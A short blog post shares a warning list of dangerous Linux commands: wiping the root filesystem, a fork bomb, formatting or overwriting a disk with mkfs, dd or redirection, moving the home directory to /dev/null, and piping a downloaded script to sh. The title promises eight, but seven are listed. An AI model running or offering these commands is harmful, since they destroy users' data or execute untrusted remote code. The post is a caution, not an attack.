Being a command line junky, I thought I’d share this fun little article I found the other day from @chrisbhoffman – 8 Deadly Commands You Should Never Run on Linux.

rm -rf / – Deletes Everything!

:(){ :|: & };: – Fork Bomb

mkfs.ext4 /dev/sda1 – Formats a Hard Drive

command > /dev/sda – Writes Directly to a Hard Drive

dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive

mv ~ /dev/null – Moves Your Home Directory to a Black Hole

wget http://example.com/something -O – | sh – Downloads and Runs a Script

Chris Hoffman is a technology writer and all-around computer geek. He’s as at home using the Linux terminal as he is digging into the Windows registry. Connect with him on Google+.